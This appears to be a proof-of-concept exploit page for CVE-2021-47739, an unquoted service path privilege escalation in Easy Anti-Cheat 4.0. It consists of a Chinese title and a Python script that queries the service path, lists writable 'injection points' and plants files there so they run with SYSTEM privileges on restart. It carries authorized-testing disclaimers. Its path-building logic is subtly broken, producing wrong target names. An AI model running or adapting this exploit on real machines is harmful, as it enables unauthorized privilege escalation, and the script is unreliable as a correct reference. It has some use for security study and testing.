CVE-2021-47739 Epic Games Easy Anti-Cheat 未引号服务路径本地权限提升漏洞

# CVE-2021-47739 PoC - Unquoted Service Path Exploitation # Target: Epic Games Easy Anti-Cheat 4.0 # Note: This is for educational and authorized testing purposes only import os import sys import subprocess import shutil def check_unquoted_path(): """Check if Easy Anti-Cheat service has unquoted path vulnerability""" try: # Query service configuration via sc command result = subprocess.run( ['sc', 'qc', 'EasyAntiCheat'], capture_output=True, text=True ) # Parse BINARY_PATH_NAME from output for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Service Path: {path}") # Check if path contains spaces and is not quoted if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Unquoted path with spaces detected!") return True, path return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(malicious_exe_path): """ Exploit unquoted service path by placing malicious executable WARNING: This is for authorized testing only """ # Example: If path is C:\Program Files\Epic Games\eac_service.exe # Attacker can place malicious code at: # C:\Program.exe or C:\Program Files\Easy.exe vulnerable, service_path = check_unquoted_path() if not vulnerable: print("[-] Service path appears to be properly quoted") return False # Extract potential injection points path_parts = service_path.replace('"', '').split('\\') drive = path_parts[0] + '\\' exploit_targets = [] cumulative_path = drive for part in path_parts[1:-1]: cumulative_path += part + '\\' if ' ' in part: exploit_targets.append(cumulative_path + part + '.exe') print(f"[!] Potential injection points found:") for target in exploit_targets: print(f" - {target}") # Copy malicious executable to target location for target in exploit_targets: try: target_dir = os.path.dirname(target) if not os.path.exists(target_dir): os.makedirs(target_dir) # For authorized testing: create a benign marker file with open(target, 'w') as f: f.write('This is a placeholder for authorized testing only') print(f"[+] Created test file at: {target}") print("[*] When service restarts, this executable will run with SYSTEM privileges") return True except PermissionError: print(f"[-] Insufficient permissions to write to: {target}") return False if __name__ == '__main__': print("=" * 60) print("CVE-2021-47739 Easy Anti-Cheat Unquoted Service Path") print("=" * 60) exploit_unquoted_path(None)